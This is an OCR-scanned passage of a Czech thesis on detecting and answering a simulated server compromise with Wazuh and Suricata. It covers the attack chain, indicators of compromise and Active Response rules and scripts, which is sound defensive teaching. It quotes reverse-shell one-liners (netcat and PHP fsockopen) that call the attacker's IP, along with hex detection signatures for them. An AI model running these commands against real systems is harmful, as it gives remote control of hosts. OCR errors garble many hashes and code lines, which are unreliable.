port 42382 ssh2: ED25519 SHA256 :FbVVew/Rdf2zpb3anRIw/eb7 /wApCVEjORZxVFYSAikS

Obr. 26: Detail udalosti - pfihlaseni SSH klicem
Zdroj: Vlastni zpracovadni (2026)

Dle zdznamu z modulu File Integrity Monitoring (FIM) byla detekovana modifikace obsahu
souboru /home/joe/.ssh/authorized_keys. Soubor definuje seznam vefejnych kli¢d
autorizovanych pro vzdaleny pfistup k danému uZivatelskému uctu.
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t syscheck.diff gal
» ssh-ed25519 AAAAC3NzaC1lZDITNTESAAAAIDEQOGGKKTGBOGYaVAWWHrB+00S+gNAj1RKgbrvxvGmg |
t syscheck.event modified
t syscheck.gid_after 1e81
t syscheck.gname_after joe
t syscheck.inode_after 393255
t syscheck.md5_after 8762eea81f3b74632e54ecfof5d721c6
t syscheck.md5_before d41d8cd98Teeb204e9800998ecT8427e
t syscheck.mode realtime
B syscheck.mtime_after Mar 23, 2826 @ ©9:08:081.000
3 syscheck.mtime_before Mar 23, 2826 @ ©9:85:55.000
t syscheck.path Jhome/joe/ . ssh/authorized_keys

Obr. 27: Modifikace souboru authorized_keys
Zdroj: Vlastni zpracovdni (2026)

Analyza potvrdila vloZeni neautorizovaného verejného klice do konfiguraéniho souboru, coz
nasledné umoznilo vzdalené pfihldseni z IP adresy 192.168.122.224 pod identitou uZivatele joe.
Uto¢nik Uspésné perzistoval svdj pristup do systému. Bezprostiedné poté byl zaznamenan
Uspésny pokus o prechod na ucet root, coz indikuje vertikdlni eskalaci oprdvnéni,
pravdépodobné prostifednictvim kompromitace hesla nebo zneuZiti systémové zranitelnosti.
Sekvence udalosti potvrzuje plné ovladnuti monitorovaného serveru.

&y Export Formatted & Resetview i3 733 available fields @ = Columns [ Density ¢ 1fields sorted Full screen
| timestamp ~ agent.name ~ rule.description

@ Mar 23,2026 @ 15:15:42.4..  ubuntu-server-1 PAM: Login session opened.

& Mar 23,2026 @ 15:15:42.4..  ubuntu-server-1 Successful sudo to ROOT executed.

[ Mar 23,2026 @ 15:15:42.4..  ubuntu-server-1 PAM: Login session opened.

Obr. 28: Eskalace na ucet root
Zdroj: Vlastni zpracovani (2026)

2.3.4 Naplnénicild

V momenté, kdy utocnik ziska plnou kontrolu nad serverem, ptechazi k finalni fazi utoku, ktera
zahrnuje exfiltraci citlivych dat, $ifeni malwaru v ramci vnitfni sité (lateral movement), sitové
skenovani z kompromitovaného uzlu nebo destruktivni akce. Mezi aktivity typicky patfi
defacement webové prezentace ¢i nasazeni ransomwaru za Ucelem Sifrovani dat. Synergie
systémuU Wazuh a IDS Suricata umoziuje kontinudlni monitorovani sitovych spojeni a detailni
sledovani post-exploitacnich aktivit dtocnika. Modul FIM vredlném case detekuje
neautorizované pfistupy k souboriim, zatimco Suricata identifikuje nové navazana podezield
spojeni.

Na kompromitovaném stroji byl identifikovan otevieny port 8000, indikujici spusténi docasného
HTTP serveru (pravdépodobné prostfednictvim modulu http.server jazyka Python). Skrze
docasné rozhrani byl pomoci utility wget stazen soubor smernice_bp.pdf na cilovou adresu
192.168.122.224, coi je IP adresa identifikovana jako Utocénikav Fidici uzel.

39



Vysokd Skola polytechnickd Jihlava

t data.http.hostname 192.168.122.121
t data.http.http_content_type application/pdf
t data.http.http_method GET

t data.http.http_port a@eg

t data.http.http_response_body JVBERiBxLjUNJeljz9MNCjg2ZNSAWIGI1iag88PCOMaN51Y¥XJpemVkIDEVTCA3NDCINDUVTYA4N
jovRSABNTCENDQVTiAXMSIUIDCENZATNSIIIF sgNTAxIDMxN18+Pg11bmRvYmoNICAQICAgQIC
AgICAQDT040DIgMCBY YmoNPDWVRGY jbZRIUGF ybXM8PCIDb2Zx1bW5ZIDUVUHJ1ZG11dGIyIDE
yPj4vRmlsdGVyLBZsYXR1IRGYjb2R1LA1EWZWZNERBME YwNKVGNzkzMjQz0ODZERUVBNZEBQ]NE
Qk'¥3Mz4B8RUQZRKNENjBCQBIARKMEMT LGk VDMEFDQUUYNZVCOEQ+XS9JbmR1eFs4NjUgMz1dL
B1uZmBgODYBIDAQUIIMZWENdGggOTMYUHI1diAZNDCWNTYvUmM9vdCA4N ] YgMCESL1NpemUgOT

A ARRACIWE 174 0YWrEaMu v TALATRUFUEHNNnATm 17 CANVERT VERWD IEMMSreenoC el

t data.http.http_user_agent Wget/1.25.8

t data.http.length 13832

t data.http.protocol HTTP /1.1

t data.http.status 2@8

t data.http.url /smernice_bp.pdf

Obr. 29: Pristup k souboru smernice_bp.pdf pies port 8000
Zdroj: Vlastni zpracovdni (2026)

Sekvence udalosti s vysokou pravdépodobnosti potvrzuje exfiltraci citlivych dat. Bezprostfedné
poté byl na webovy server nahran skript ransomware.py. Systém Wazuh ukazdého nové
vytvoreného souboru automaticky vypocitava kontrolni soucéty (hashe), které slouzi k nasledné
identifikaci skodlivého kodu a korelaci s databazemi znamych hrozeb (Threat Intelligence).

t syscheck.path /root/top_secret/documents/ransomware.py

t syscheck.perm_after rW-r--r--

t syscheck.shal_after Bd6469ad627c82B838ae153b95f86bT155fcasfh

t syscheck.sha256_after 44e358T57bdae64556 fbBeeec9adaf1fea?41192ba3be48806713e56f 1b82a5a

Obr. 30: Nasazeni scriptu ransomware.py
Zdroj: Vlastni zpracovani (2026)

Nasledné zdznamy dokumentuji naruseni integrity souboru smernice_bp.pdf, ktery byl
pfejmenovan na smernice_bp.vspjlock. Pivodni dokument byl z disku odstranén spolecné se
zavadécim skriptem ransomware.py. Vzorec chovani — zaSifrovani dat, zména pfipony
anasledné zahlazovani stop smazdnim malwaru — je charakteristickym znakem
automatizovaného ransomwaru.

Kromé samotné destrukce dat Ize v logovacich zaznamech pozorovat pokusy o zametani stop
(anti-forensics), kdy se Utoénik snazi modifikovat systémové logy, aby ztiZil zpétnou rekonstrukci
incidentu. V¢asna detekce anomdlii v SIEM systému je kritickd pro v€asnou reakci a zabranéni
dalsimu Sifeni Utoku do ostatnich segmentd infrastruktury.
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2.4 Navrh ochrannych opatfeni a hardening infrastruktury

Kapitola se zaméruje na aplikaci ziskanych poznatkd pfi zabezpeceni infrastruktury modelové
organizace. Analyza predchozich Gtok( poskytuje cennd data, kterd jsou v ramci bezpecnostni
komunity sdilena pro zvyseni celkové odolnosti systém(l. Na zadkladé provedené simulace Utoku
jsou definovany konkrétni kroky k eliminaci identifikovanych zranitelnosti.

2.4.1 Rekapitulace incidentu

| v pfipadech, kdy utocnici provedou destrukci nebo Sifrovani lokalnich Zurnalovych zaznam(
(logl) na kompromitovaném hostiteli, umoZnuje architektura systému Wazuh rekonstrukci
prabéhu incidentu. Veskeré zpracované udalosti jsou kontinualné odesilany a ukladany na
centralnim manaZeru. Bezpecnostni analytik mize z historickych dat extrahovat indikatory
kompromitace (loC) a vyuZit je k naslednému hardeningu infrastruktury.

Retrospektivni analyza ukazala, Ze Utoénici zahdjili aktivitu sitovym skenovanim, které vedlo
k identifikaci webového serveru a naslednému objeveni autentizacniho portdlu. Pfistup byl
ziskan metodou hrubé sily (brute force). Nasledné byly zaznamenany pokusy o SQL Injection za
Ucelem exfiltrace dat z databaze. Utoénik(im se podafilo nahrat webshell, coz umoznilo vzdalené
spousténi koédu (RCE) anavazani reverzniho shellu pomoci interpretu PHP. Modifikaci
systémovych soubor( byl do autorizacniho seznamu uZivatele joe vloZen neautorizovany SSH
kli¢. Ackoliv se samotnou eskalaci na Uroven root nepodafrilo v systému Wazuh pfimo zachytit,
nasledné kroky po plném ovladnuti systému — vcetné exfiltrace dat a nasazeni ransomwaru —
byly detailné zdokumentovany.

Seznam indikatord kompromitace (loC):

1) Sitova aktivita
e |Padresa: 192.168.122.224 (vyuZita pro skenovani, enumeraci a jako C2 uzel)
e Porty: 9002 (reverse shell), 8000 (exfiltrace dat), 4444 (transfer ransomwaru)
2) Skodlivé soubory (Webshell)
e Nazev: webshell.jpg.php
e MD5:10246575a54d8ab5e2564f69bf4elab8
e SHA-1: 2500bc5407abf57eb09457ef0d127550be88ed16
e SHA-256:
d47f2c691f5e77d9746a2abb26bd713eaaaba2a31lbb2dal9e62717fe80f0928b
3) Persistence (SSH)
o Vefejny klic:
ssh-ed25519
AAAAC3NzaC1IZDI1INTESAAAAIDEQOGgKK7G8QGyaV4WWHrB+00S+qNAjIRKq
brVxvGm9
4) Skodlivé soubory (Ransomware)
e Nazev: ransomware.py
e SHA-1:0d6469ad627c028838ae153b95f86bf155fca5fb
e SHA-256:
44e358f57bdae64556fb0eeec9a3aflfea241192ba3b048806713e56f1b02a5a
e Pfipona zasifrovanych soubor(: .vspjlock
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Vyse uvedené artefakty byly identifikovany jako klicové znaky probéhlého Utoku a slouZi jako
podklad pro tvorbu detekénich pravidel a signatur:

2.4.2 Implementace znalosti loC

Systém Wazuh nabizi pokrocilé mechanismy pro automatizovanou reakci na identifikované
bezpeénostni hrozby. V produkénim prostiedi je nezbytné k témto opatfenim pfristupovat
s vysokou mirou obezietnosti. Nevhodné konfigurovana detekéni pravidla mohou generovat
faleSné pozitivni nalezy (false-positives), pficemz ndslednd automatizovand odezva mdize
negativné ovlivnit legitimni provoz vramci organizace nebo sitové infrastruktury.
V laboratornich podminkach jsou parametry nastaveny s vyssi citlivosti za i¢elem demonstrace
maximalni efektivity obrannych mechanism.

Blokace znamé IP adresy: Nastroj Active Response (AR) provadi autonomni zasahy proti
detekovanym hrozbam na zdkladé definovanych podminek. V rdmci prace je modul vyuzit
k mitigaci rizik spojenych s IP adresami, které byly identifikovany jako indikatory kompromitace.
Postup konfigurace vychazi z metodiky dokumentované vyrobcem (Wazuh, 2026).
V konfiguracnim souboru /var/ossec/etc/ossec.conf na strané Wazuh Manageru byla v sekci
<ruleset> provedena registrace seznamu kompromitovanych IP adres. Nasledné byla do sekce
<ossec_config> vlozena definice modulu Active Response:

<active-response>
<disabled>no</disabled>
<command>firewall-drop</command>
<location>local</location>
<rules_id>100100</rules_id>
<timeout>30</timeout>
</active-response>

Ucelem uvedeného nastaveni je omezeni postupu Gtocnika v redlném ¢ase, pficems systém
umoznuje i permanentni blokaci adresy. Po identifikaci Utocné aktivity dochdazi k modifikaci
pravidel v systémovém firewallu iptables na dobu 30 sekund. Béhem intervalu jsou veskeré
pfichozi pakety ze zdroje odpovidajiciho pravidlu 100100 zahazovany. Samotné pravidlo je
definovano v souboru /var/ossec/etc/rules/local_rules.xml na Wazuh Manageru, pficemz ke
spraveé lze vyuZit také webové rozhrani Wazuh Dashboard.

21~ <group name="attack, ">
22~ <rule id="108108" level="18">
<if_group>web|attack|attacks</if_group>
<list field="srcip"” lookup="address_match_key">etc/lists/blacklist-alienvault</list>
<description>Known malicious IP address found</description=
</rule>
<!group4

(%]
[#%]

=] Onoon s

[ RS I L T S ]

Obr. 31: Pravidlo pro detekci znamé hrozby
Zdroj: Vlastni zpracovdni (2026)

Implementované opatfeni vykazuje Gc¢innost ipfi detekci utokl hrubou silou vedenych ze
znamych zdrojl. Je vSak nezbytné uvaZovat scénar, kdy utocnik vyuZije pro distribuci utoku
odlisné sitové identity.
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Odstranéni zndmého malware: Na zdkladé analyzy loC byly identifikovany dva konkrétni
soubory vyuZité utocnikem: webshell.jpg.php a ransomware.py. Kontrolni soucty (hashe) téchto
entit lze vyuZit ksignaturni detekci a nasledné automatizované eliminaci identifikovanych
hrozeb. Do konfigura¢niho souboru /var/ossec/etc/lists/malicious-ioc/malware-hashes na
serveru Wazuh byly integrovdny nasledujici zaznamy:

o DA47f2...80f0928b:Webshell.jpg.php
e 44e3..6f1b02a5a:RansomwareVSPJLock

Po restartu sluzby wazuh-manager dojde ktransformaci textového souboru ve formdtu
key:value do binarni databaze typu CDB (Constant Database), kterou systém Wazuh vyuZziva pro
vysoce efektivni a rychlé vyhledavani. V hlavni konfiguraci manazeru /var/ossec/etc/ossec.conf
byla definovana struktura pfikazu pro odstranéni hrozby:

<command>
<name>remove-threat</name>
<executable>remove-threat.sh</executable>
<timeout_allowed>no</timeout_allowed>
</command>

Nasledné byla specifikovana politika modulu Active Response pro automatizovanou reakci:

<active-response>
<disabled>no</disabled>
<command>remove-threat</command>
<location>local</location>
<rules_id>99901</rules_id>
</active-response>

Detekéni pravidlo s identifikdtorem 99901 je iniciovano v momenté, kdy modul FIM identifikuje
ve sledovaném adresafi soubor, jehoZ kontrolni soucet koresponduje s databdzi malware-
hashes. Parametr <location> s hodnotou local definuje, Ze ndpravné opatreni bude vykonano
vyhradné na hostitelském systému, ktery generoval poplachovou udalost.

Napravny skript remove-threat.sh zajistuje smazani kompromitovaného souboru a musi byt
situovan v adresafi /var/ossec/active-response/bin/ na vsech monitorovanych agentech.
Implementované feseni vychazi z modifikované verze metodiky dokumentované v ramci Wazuh
Proof of Concept guide (Wazuh, 2026). Pro zajisténi zpétné vazby v uZivatelském rozhrani bylo
vytvoreno dopliikové pravidlo, které vizualizuje vysledek napravné akce v konzoli SIEM.

Detekce zaloZzena na komparaci kontrolnich souctl predstavuje efektivni metodu ochrany proti
zndmym hrozbdm. Je vSak nezbytné vzit v Gvahu limitace; v pfipadé polymorfniho malwaru nebo
cilené modifikace kédu dochazi ke zméné vysledného hashe, coZz znemoiznuje identifikaci
souboru na zakladé statickych seznamu.

Detekce reverse shell: Reverzni spojeni mize byt navazano na libovolny sitovy port, avsak
v rdmci analyzovanych incident( byly identifikovany opakujici se cilové porty, konkrétné 9002
a 9004. Dal$im charakteristickym znakem byla snaha o vyufZiti utility Netcat nebo interpretu PHP.
Utoénik inicioval zpétné spojeni z prostiedi webshellu prostiednictvim nasledujicich pfikaza:
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e nc-e/bin/bash 192.168.122.224
e php -r, Ssock=fsockopen("192.168.122.224",9002);exec("bash, <&3, >&3, 2>&3");

K identifikaci procesu lze vyuZit subsystém auditd. Pro pfipady, kdy by byl k navazani spojeni
vyuzit alternativni ndstroj, byla implementovana pravidla IDS Suricata, kterd generuji alert pfi
detekci odchoziho spojeni z webového serveru do vnéjéi sité. Zurnalovy soubor audit.log je
agenty systému Wazuh kontinudlné monitorovan. Pro sledovani exekuce ptikazi bylo
definovdno nasledujici auditni pravidlo:

-a always,exit -F arch=b64 -S execve -F key=audit_cmd

Pravidla systému Wazuh jsou situovana v adresafi /var/ossec/etc/rules/. Do souboru
local_rules.xml bylo integrovdno detekéni pravidlo pro identifikaci reverzniho shellu:

43 - <group name="linux,auditd, ">
44-  <rule id="100202" level="12">

45 <if_sid>80788</if_sid>

46 <field name="audit.type">EXECVE</field>

47 <match>282262617368203C2633283E263320323E263322293B | 6E632082D632062617368 |202d652062617368 |a2="telnet://</match>
48 <description>Kriticka detekce: PHP Reverse Shell identifikovan v Auditd logu (Hex signatura).</description>

49 </rule>

58 </group4

Obr. 32: Pravidlo pro detekci reverse shellu
Zdroj: Vlastni zpracovdni (2026)

Znacka <match> definuje fetézec, jehoz pfitomnost v zaznamu audit.log podminiuje aktivaci
pravidla. ProtoZe subsystém Auditd mUZe zapisovat argumenty v hexadecimalnim formatu, byl
mechanismus AR navrzen tak, aby hodnoty interpretoval. Pravidlo vyhleddvd shodu
v nasledujicich signaturach:

¢ ("bash <&3>&3 2>&3");
e nc—cbash
e a2="telnet://

V konfigura¢nim souboru ossec.conf na strané Wazuh Manageru byla definovana sekce pro
volani ndpravného skriptu:

<command>
<name>kill-revshell</name>
<executable>kill-revshell.sh</executable>
<timeout_allowed>no</timeout_allowed>
</command>

Nasledné byla konfigurovana instrukce Active Response, ktera iniciuje exekuci na
kompromitovaném uzlu pfi aktivaci pravidla 100202:
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<active-response>
<disabled>no</disabled>
<command>kill-revshell</command>
<location>local</location>
<rules_id>100202</rules_id>

</active-response>

Na monitorovanych agentech byl umistén skript v jazyce Bash, ktery provadi sanaci systému.
Pokud pole full_log obsahuje hexadecimdlni data, skript provede jejich dekddovani:

HEX_DATA=S(echo "SFULL_LOG" | grep -a -oP 'a[0-9]=\K[0-9A-F]{20,})
if [ -n "$SHEX_DATA" |; then
DECODED_TEXT=$(echo "$HEX_DATA" | xxd -r -p)
else
DECODED_TEXT="SFULL_LOG"
fi

Prostfednictvim regularnich vyrazll je ztextu extrahovana IP adresa utocnika. Nasledné je
vyuZita utilita Isof kidentifikaci identifikdtoru procesu (PID), ktery udrZuje aktivni spojeni
s danou adresou. Identifikovany proces je nasledné terminovan.

ATTACKER_IP=$(echo "SDECODED_TEXT" | grep -oP "\d{1,3)\.\d{1,3\.\d{1,3)\.\d{1,3})
PID=$(Isof -i @"SATTACKER_IP" -t)
if [$? -eq 0 ]; then
kill -9 SPID
fi

PFi Uspésném ukonceni procesu je vygenerovan zaznam do Zurnalu /var/ossec/logs/active-
responses.log. Uddlost je zpétné analyzovdna systémem Wazuh, pficemZ pravidlo 100204
zajistuje informovani bezpeénostniho analytika o provedeném zasahu.

42~ <rule id="10082084" level="12"=>

43 <if_sid>658</if_sid=
- <match>Revshell connection with</match>
45 <description=Revshell process killed</description>
46 </rule>
<fgroup>

Obr. 33: Pravidlo pro ohlaseni ukonceni reverse shellu
Zdroj: Vlastni zpracovdni (2026)

Obnoveni integrity souboru authorized_keys: V ramci Uvodniho analytického scénare bylo
zjisténo, ze Utocnici zajistuji perzistenci v systému prostfednictvim neautorizované modifikace
souboru authorized_keys. Pro eliminaci rizika byl implementovan mechanismus automatické
obnovy (Self-healing) pomoci modulu Active Response. Systém umoZiuje v redlném Case zahdjit
exekuci ndpravného skriptu, ktery uvede kompromitovany soubor do plvodniho stavu
s vyuzitim bezpecné zalohy.
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V konfiguraénim souboru na Wazuh serveru /var/ossec/etc/ossec.conf byl definovan novy
prikaz:

<command>
<name>restore-key</name>
<executable>restore-key.sh</executable>
<timeout_allowed>no</timeout_allowed>
</command>

Nasledné byla specifikovana logika aktivace ndpravného opatieni na cilovém stroji:

<active-response>
<disabled>no</disabled>
<command>restore-key</command>
<location>local</location>
<rules_id>550</rules_id>

</active-response>

Na monitorovanych agentech je situovan skript zajistujici substituci souboru authorized_keys
jeho validni kopii. K iniciaci dochazi pfi detekci naruseni integrity (pravidlo 550 — FIM: Integrity
checksum changed). Skript provadi validaci cesty a ndslednou obnovu dat:

FILE_PATH=S(echo "SALERT JSON" | jq -r '.parameters.alert.syscheck.path')
if [[ SFILE_PATH == ".ssh/authorized_keys" ]]; then
./ cp /var/ossec/.ssh/joe-keys/authorized_keys /home/joe/.ssh/authorized_keys
if [$? -eq 0 ];then
chown joe: /home/joe/.ssh/authorized_keys
chmod 600 /home/joe/.ssh/authorized_keys
echo "date '+%Y/%m/%d %H:%M:%S" AR: Authorized_keys file restored" >> ${LOG_FILE}
fi
fi

Pro Ucely testovani byl vytvofen cileny skript zamérfeny na konkrétni uZivatelsky ucet.
V produkénim prostfedi by byla implementovana komplexnéjsi logika pokryvajici viechny
uZivatele. Pfi UspéSné operaci je do Zurnalu active-responses.log zapsana potvrzujici zprava.
Protoze samotny FIM alert neobsahuje informaci o vysledku ndpravné akce, bylo vytvofeno
sekundarni pravidlo monitorujici Zurnal, které zajistuje vizualizaci Uspésné obnovy v rozhrani
SIEM.

58 - <group name="fim related ar">
59+ <rule id="1006388" level="3">

60 <if_sid>656</if_sid>

61 <match>Authorized_keys file restored</match>

62 <description>=ACTIVE RESPONSE: Someone edited $(parameters.alert.syscheck.path)
|</description>

63 </rule>

Obr. 34: Pravidlo ohlaseni modifikace authorized_keys
Zdroj: Vlastni zpracovdni (2026)
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7

Kombinace hloubkové inspekce procest pomoci auditd a sitové analyzy IDS Suricata vytvari
robustni detekcni vrstvu. Implementovany skript modulu Active Response predstavuje efektivni
metodu mitigace rizik v redIném case, ktera minimalizuje dobu expozice systému po Uspésném
praniku. Automatizovana odezva je klicova pro ochranu integrity dat a omezeni schopnosti
utocnika k dalSimu postupu v rdmci infrastruktury.

2.5 Pretestovani chranéné infrastruktury

Nasledujici kapitola dokumentuje pribéh simulovaného bezpecnostniho incidentu vedeného
APT skupinou, ktera vyuzivd shodné nebo typoveé blizké TTP jako v Uvodnim scénafi. Sdileni loC
v ramci bezpecnostni komunity umoznilo v predstihu vypracovat a implementovat adekvatni
obranné mechanismy. Cilem faze je verifikace Ucinnosti nasazenych detekcnich a mitigacnich
opatteni.

2.5.1 Pruzkumna faze

Po identifikaci cile zah4jili Utocnici aktivni skenovani sitové infrastruktury pomoci utility Nmap.
Systém Wazuh na aktivitu reagoval aplikaci pravidla 100100, které iniciovalo modul Active
Response (AR). Vysledkem bylo docasné zahazovani paketl (firewall-drop) z identifikované
skodlivé IP adresy, ¢imzZ doslo k okamzitému preruseni interakce Utoc¢nika s obéti.

[B Mar 26, 2026 @ 17:34:26.4... ubuntu-server-1 Host Blocked by firewall-drop Active Response
@ Mar 26,2026 @ 17:34:26.4... ubuntu-server-1 Host Blocked by firewall-drop Active Response
[ Mar 26,2026 @ 17:34:26.4... ubuntu-server-1 Host Blocked by firewall-drop Active Response

Obr. 35: Active response — blokace IP adresy
Zdroj: Vlastni zpracovdni (2026)

data.parameters.alert.data.s 192.768.122.224
reip

data.parameters.alert.data.u /
rl

data.parameters.alert.decode web-accesslog

r.name
; data.parameters.alert.full_1 192.168.122.224 - - [26/Mar/2826:16:34:23 +086@] "OPTIONS / HTTP/1.1" 28@ 1
0g 81 "-" "Mozilla/5.8 {compatible; Nmap Scripting Engine; https://nmap.org/bo
ok/nse.html)”
t data.parameters.alert.id 1774542864 .1194685

data.parameters.alert.locati /var/log/apache2/access.log
on

data.parameters.alert.manage ubuntu-server-@
r.name

data.parameters.alert.rule.d Known malicicus IP address found
escription

Obr. 36: Detail detekce Nmap skenu ze $kodlivé IP adresy
Zdroj: Vlastni zpracovdni (2026)
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Wazuh prokazal schopnost efektivné zastavit probihajici skenovani ze zndmych zdroji. Pro

pokracovani v operaci byl atocnik nucen vyuZit alternativni infrastrukturu. V pfipadé nasazeni

novych uUtoc¢nych vektor( je sice mozné v aktivité pokracovat, avsak kazdy nové identifikovany

zdroj je zaznamenan bezpecnostnim analytikem. Databaze loC mlze byt nasledné dynamicky

doplfiovana o dalsi zdznamy, coz zvySuje odolnost systému v Case.

L—(ka'l.i.@kali)-[—]
$

ping 192.168.122.121

PING 192.168.122.121 (192.168.122.121) 56(84) bytes of data.

~C

--- 192.168.122.121 ping statistics ---

3 packets transmitted, 0 received, 100% packet loss, time 2031ms

L

~C

L

(kaliSkali)-[~]
curl http://192.168.122.121/DVWA/login.php

(kaliSkali)-[~]
sudo nmap $IP -sV -A 192.168.122.121

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-26 12:51 -0400

Stats: 0:00:23 elapsed; 0 hosts completed

NSE Timing: About 0.08% done

Stats: 0:00:24 elapsed; 0 hosts completed
NSE Timing: About 88.89% done; ETC: 12:51
Nmap scan report for ubuntu-yellow-1 (192

Host is up (0.00834s latency).

All 1000 scanned ports on ubuntu-yellow-1
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 52:54:00:FB:CA:4D (QEMU virtual NIC)

(1 up), 1 undergoing Script Scan
(1 up), 1 undergoing Script Scan
(0:00:00 remaining)
.168.122.121)

(192.168.122.121) are in ignored states.

Too many fingerprints match this host to give specific 0S5 details
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS

1

0.34 ms ubuntu-yellow-1 (192.168.122.121)

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.99 seconds

Obr. 37: Terminal utocnika po blokaci jeho IP adresy

Zdroj: Vlastni zpracovani (2026)

Pro realizaci nového skenovani byla zménéna IP adresa utocného stroje na 192.168.122.225.

Proti nasledné enumeraci adresafové struktury webové aplikace nebyl zdmérné aplikovan

automatizovany blokacni mechanismus, aby bylo moZné pokusy o naruSeni hloubkové

detekovat a nasledné podrobit analyze v prostredi SIEM.

A8 8 8 8 885

L timestamp

Mar 26, 2026 @ 18:29:36.3..
Mar 26, 2026 @ 18:29:36.3..
Mar 26, 2026 @ 18:29:36.3...
Mar 26, 2026 @ 18:29:36.3..
Mar 26, 2026 @ 18:29:36.3..
Mar 26, 2026 @ 18:29:36.3..
Mar 26, 2026 @ 18:29:36.3...

Mar 26, 2026 @ 18:29:36.3...

agent.name

ubuntu-server-1
ubuntu-server-1
ubuntu-server-1
ubuntu-server-1
ubuntu-server-1
ubuntu-server-1
ubuntu-server-1

ubuntu-server-1

Obr. 38: Detekce pokusu o enumeraci web serveru

~ rule.description

Web server 400 error code.
Web server 400 error code.
Web server 400 error code.
Web server 400 error code.
Web server 400 error code.
Web server 400 error code.
Web server 400 error code.

Multiple web server 400 error codes from same source ip.

Zdroj: Vlastni zpracovdni (2026)
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Ziskany zaznam obsahuje identifikaci nové IP adresy, kterou lze zarfadit do seznamu
neautorizovanych zdroji v souboru /var/ossec/etc/lists/malicious-ip. Po restartu sluzby wazuh-
manager by byla veskerd dals$i komunikace zuzlu automaticky terminovadna. Popsanou
konfiguraci lze efektivné vyuzit napfiklad k blokovani komunikace s Command & Control (C2)
servery, které jsou spojovany s aktivnimi uto¢nymi kampanémi.

2.5.2 Prvotni pfistup

Dal3i faze Utoku se zamé¥ila na ziskani neautorizovaného pFistupu k webovému serveru. Utoénik
se pokusil o prolomeni autentizace sluzby SSH metodou hrubé sily. Wazuh po aktivaci pravidla
5763 spustil modul Active Response a zablokoval Utoénika na dobu 60 sekund. Prodleva vyrazné
limituje efektivitu automatizovanych utocnych nastroj a prodluzZuje ¢as potrebny k Uspésnému
uhadnuti hesla.

L timestamp v~ agent.name v rule.description ~
@  Mar 26,2026 @ 18:35:20.4... ubuntu-server-1 sshd: authentication failed.
@ Mar 26,2026 @ 18:35:20.4... ubuntu-server-1 sshd: authentication failed.
[  Mar 26,2026 @ 18:35:20.4... ubuntu-server-1 sshd: authentication failed.
@ Mar 26,2026 @ 18:35:20.4... ubuntu-server-1 sshd: authentication failed.
@ Mar 26,2026 @ 18:35:20.3... ubuntu-server-1 Host Blocked by firewall-drop Active Response
f[@ Mar 26,2026 @ 18:35:18.4... ubuntu-server-1 sshd: brute force trying to get access to the system. Authentication failed.

Obr. 39: Detekce pokusu o uhadnuti hesla k SSH a reakce AR
Zdroj: Vlastni zpracovdni (2026)

Nasledné byl proveden pokus o prolomeni pfistupu k webové aplikaci DVWA. Aktivita byla
detekovana signaturou IDS Suricata. Pro ucely testovani pokrocilejSich fazi utoku nebyla
zamérné nastavena automatizovana reakce, coZ umoznilo Utocnikovi pokracovat v exploataci

aplikovanych zranitelnosti.

\ timestamp v agent.name ~ rule.description v rule.level v rule.id
[@ Mar 26,2026 @ 18:57:02.6... ubuntu-server-1 Suricata: Alert - SURICATA - Detected DVWA bruteforce login attempt 3 86601
[@ Mar 26,2026 @ 18:57:02.6... ubuntu-server-1 Suricata: Alert - SURICATA - Detected DVWA bruteforce login attempt 3 86601
[@ Mar 26,2026 @ 18:57:00.6... ubuntu-server-1 Suricata: Alert - SURICATA - Detected DVWA bruteforce login attempt 3 86601
[@ Mar 26,2026 @ 18:57:00.6... ubuntu-server-1 Suricata: Alert - SURICATA - Detected DVWA bruteforce login attempt 3 86601
[@ Mar 26,2026 @ 18:56:58.6... ubuntu-server-1 Suricata: Alert - SURICATA - Detected DVWA bruteforce login attempt 3 86601
[@ Mar 26,2026 @ 18:56:58.6... ubuntu-server-1 Suricata: Alert - SURICATA - Detected DVWA bruteforce login attempt 3 86601
[@ Mar 26,2026 @ 18:56:58.6... ubuntu-server-1 Suricata: Alert - SURICATA - Detected DVWA bruteforce login attempt 3 86601

Obr. 40: Pokus o prolomeni hesla k webové aplikaci
Zdroj: Vlastni zpracovdni (2026)

Uto¢nik identifikoval zranitelnost ve formulafi pro nahravani soubor(i a pokusil se do systému
vloZit webshell. Modul FIM (File Integrity Monitoring) rozpoznal skodlivy kod na zakladé shody
se znamym otiskem (hash). Modul AR nésledné inicioval skript pro odstranéni neautorizovaného

souboru z diskového oddilu.

49



Vysokd Skola polytechnickd Jihlava

& Export Formatted ¢ Resetview i3 786 available fields @ = Columns f= Density ¢ 1fieldssorted [ Full screen

@ timestamp v~ agent.name v rule.description v rule.level v rule.id
[@ Mar 26,2026 @ 19:53:19.3... ubuntu-server-1 Suricata: Alert - ET WEB_SERVER PHP System Command in HTTP POST 3 86601
@ Mar 26,2026 @ 19:53:19.3... ubuntu-server-1 Suricata: Alert - ET WEB_SERVER PHP tags in HTTP POST 3 86601
[@ Mar 26,2026 @ 19:53:19.3... ubuntu-server-1 active-response/bin/remove-threat.sh removed threat located at /var/ww... 12 100092
[@ Mar 26,2026 @ 19:53:18.1... ubuntu-server-1 File deleted. 7 553
(@ Mar 26,2026 @ 19:53:18.0... ubuntu-server-1 FIM: File with known malware hash detected: fvar/www/htm|/DVWA/hacka.. 14 99901
[@ Mar26,2026 @ 19:51:19.3... ubuntu-server-1 Suricata: Alert - ET WEB_SERVER PHP System Command in HTTP POST 3 86601

Obr. 41: Odstranéni skodlivého souboru pomoci FIM a AR
Zdroj: Vlastni zpracovdni (2026)

Ackoliv byl proces nahrani souboru z pohledu webové aplikace Uspésny, malware byl eliminovan
drive, nez mohl byt spustén nebo vyuzit k dal$i kompromitaci systému.

Detekce skodlivych souborl primarné vychazi z komparace kontrolnich souctl. Jakakoliv
modifikace souboru ma za ndsledek zménu vysledného hashe, coz vede k neshodé s hodnotami
v seznamu zndmého malwaru. Uto¢nikdim se podaftilo nahrat modifikovany webshell s odlignym
otiskem, coz modul FIM zaznamenal jako obecnou zménu integrity. Nastalou situaci mlze
pracovnik SOC (Security Operations Center) fesit manudlni analyzou a naslednym odstranénim
souboru.

PFi pokusu o navazani zpétného spojeni (reverse shell) prostrednictvim znamych vzorcl chovani
doslo k aktivaci ochrannych pravidel a terminaci pfislusnych procesu.

< timestamp ~ agent.name ~ rule.description ~ rule.level ~ rule.id v

